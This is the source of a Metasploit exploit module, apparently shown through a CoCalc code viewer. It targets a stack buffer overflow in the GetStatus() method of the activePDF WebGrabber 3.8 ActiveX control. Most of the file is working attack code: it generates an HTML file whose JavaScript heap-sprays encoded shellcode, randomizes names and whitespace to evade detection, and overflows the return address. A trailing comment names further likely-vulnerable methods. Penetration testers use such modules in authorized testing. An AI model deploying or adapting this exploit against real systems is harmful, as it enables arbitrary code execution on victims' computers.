CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
 Path: blob/master/modules/exploits/windows/fileformat/activepdf_webgrabber.rb
Views: 1904
1
##

2
# This module requires Metasploit: https://metasploit.com/download

3
# Current source: https://github.com/rapid7/metasploit-framework

4
##

5


6
class MetasploitModule < Msf::Exploit::Remote

7
  Rank = LowRanking

8


9
  include Msf::Exploit::FILEFORMAT

10


11
  def initialize(info = {})

12
    super(update_info(info,

13
      'Name'           => 'activePDF WebGrabber ActiveX Control Buffer Overflow',

14
      'Description'    => %q{

15
          This module exploits a stack buffer overflow in activePDF WebGrabber 3.8. When

16
        sending an overly long string to the GetStatus() method of APWebGrb.ocx (3.8.2.0)

17
        an attacker may be able to execute arbitrary code. This control is not marked safe

18
        for scripting, so choose your attack vector accordingly.

19


20
      },

21
      'License'        => MSF_LICENSE,

22
      'Author'         => [ 'MC' ],

23
      'References'     =>

24
        [

25
          [ 'OSVDB', '64579'],

26
          [ 'URL', 'http://www.activepdf.com/products/serverproducts/webgrabber/' ],

27
        ],

28
      'DefaultOptions' =>

29
        {

30
          'EXITFUNC' => 'process',

31
          'DisablePayloadHandler' => true

32
        },

33
      'Payload'        =>

34
        {

35
          'Space'         => 1024,

36
          'BadChars'      => "\x00",

37
        },

38
      'Platform'       => 'win',

39
      'Targets'        =>

40
        [

41
          [ 'Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2 / IE 7', { 'Ret' => 0x0A0A0A0A } ]

42
        ],

43
      'DisclosureDate' => '2008-08-26',

44
      'DefaultTarget'  => 0))

45


46
    register_options(

47
      [

48
        OptString.new('FILENAME', [ false, 'The file name.',  'msf.html']),

49
      ])

50
  end

51


52
  def exploit

53
    # Encode the shellcode.

54
    shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

55


56
    # Create some nops.

57
    nops    = Rex::Text.to_unescape(make_nops(4))

58


59
    # Set the return.

60
    ret     = Rex::Text.uri_encode([target.ret].pack('L'))

61


62
    # Randomize the javascript variable names.

63
    vname  = rand_text_alpha(rand(100) + 1)

64
    var_i  = rand_text_alpha(rand(30)  + 2)

65
    rand1  = rand_text_alpha(rand(100) + 1)

66
    rand2  = rand_text_alpha(rand(100) + 1)

67
    rand3  = rand_text_alpha(rand(100) + 1)

68
    rand4  = rand_text_alpha(rand(100) + 1)

69
    rand5  = rand_text_alpha(rand(100) + 1)

70
    rand6  = rand_text_alpha(rand(100) + 1)

71
    rand7  = rand_text_alpha(rand(100) + 1)

72
    rand8  = rand_text_alpha(rand(100) + 1)

73


74
    content = %Q|<html>

75
<head>

76
<script>

77
try {

78
  var #{vname} = new ActiveXObject('APWebGrabber.Object');

79
  var #{rand1} = unescape('#{shellcode}');

80
  var #{rand2} = unescape('#{nops}');

81
  var #{rand3} = 20;

82
  var #{rand4} = #{rand3} + #{rand1}.length;

83
  while (#{rand2}.length < #{rand4}) #{rand2} += #{rand2};

84
  var #{rand5} = #{rand2}.substring(0,#{rand4});

85
  var #{rand6} = #{rand2}.substring(0,#{rand2}.length - #{rand4});

86
  while (#{rand6}.length + #{rand4} < 0x40000) #{rand6} = #{rand6} + #{rand6} + #{rand5};

87
  var #{rand7} = new Array();

88
  for (#{var_i} = 0; #{var_i} < 400; #{var_i}++){ #{rand7}[#{var_i}] = #{rand6} + #{rand1} }

89
  var #{rand8} = "";

90
  for (#{var_i} = 0; #{var_i} < 800; #{var_i}++) { #{rand8} = #{rand8} + unescape('#{ret}') }

91
  #{vname}.GetStatus(#{rand8},1);

92
} catch( e ) { window.location = 'about:blank' ; }

93
</script>

94
</head>

95
</html>

96
|

97


98
    content = Rex::Text.randomize_space(content)

99


100
    print_status("Creating '#{datastore['FILENAME']}' file ...")

101


102
    file_create(content)

103
  end

104
end

105


106
=begin

107


108
Other methods that are vulnerable.

109


110
[id(0x00000050), helpstring("Clean up after a WWWPrint call.")]

111
void CleanUp(BSTR ServerIPAddress, long ServerPort);

112


113
[id(0x00000055)]

114
BSTR Wait(BSTR IPAddress, long PortNumber, short WaitTime, BSTR AcceptedCommands);

115


116
...and probably more.

117
=end

118


119